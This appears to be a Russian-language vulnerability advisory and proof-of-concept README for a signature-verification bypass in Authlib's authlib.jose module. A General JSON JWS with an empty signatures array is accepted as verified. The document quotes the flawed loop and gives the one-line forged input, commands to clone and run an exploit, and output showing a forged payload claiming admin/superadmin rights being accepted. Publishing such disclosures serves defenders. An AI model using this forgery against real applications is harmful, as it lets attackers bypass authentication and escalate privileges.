
Authlib 1.7.2: обход проверки подписи — General JSON JWS принимает неподписанную полезную нагрузку, когда `signatures` пуст
Proof-of-concept обхода проверки подписи в модуле authlib.jose библиотеки Authlib. JsonWebSignature.deserialize_json() принимает объект General JSON JWS с пустым массивом signatures и возвращает контролируемую атакующим полезную нагрузку как успешно проверенную — ключ не требуется, подпись не проверяется.
Затронуто: Authlib ≤ 1.7.2, модуль authlib.jose
Не затронуто: путь компактного JWT (jwt.decode()). Эта ошибка специфична для API JWS с JSON-сериализацией.
CWE: CWE-347 (Некорректная проверка криптографической подписи), CWE-670, CWE-358
Статус: не исправлено в 1.7.x — модуль authlib.jose был полностью удалён в Authlib 1.8, а не исправлен. Любое развёртывание, закреплённое на версии ниже 1.8, остаётся уязвимым.
# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True # starts True
for header_obj in obj["signatures"]: # zero iterations when signatures = []
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv # attacker payload returned as verified
raise BadSignatureError(rv)
is_valid инициализируется значением True и изменяется только внутри тела цикла. Когда signatures равно [], цикл выполняется ноль раз, логика проверки не выполняется, и функция возвращает успех — классическая ошибка «вакуумной истины». Обе публичные точки входа затронуты:
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
Любое приложение, которое проверяет контролируемый злоумышленником входной JSON JWS через deserialize_json() или deserialize(), теряет гарантии подлинности/целостности для этого входа:
sub, role, сессионных утвержденийscope, tenant, permissionsgit clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py
=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [
{
"protected": "eyJhbGciOiJIUzI1NiJ9",
"signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
}
]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:
=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
Три случая точно изолируют уязвимость: настоящая подпись с неправильным ключом корректно отклоняется, настоящая подпись с правильным ключом корректно принимается, а пустой список подписей — который должен быть наиболее отклоняемым случаем из всех — молча принимается.
authlib.jose (исправление не выпущено): 30 июляauthlib.jose удалён в Authlib 1.8 (не перенесён обратно как исправление)Обнаружено и сообщено uziii2208 и nguyenminhtuan28.
Этот PoC публикуется в образовательных и защитных целях — чтобы помочь сопровождающим, командам безопасности и нижестоящим пользователям понять и устранить проблему. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.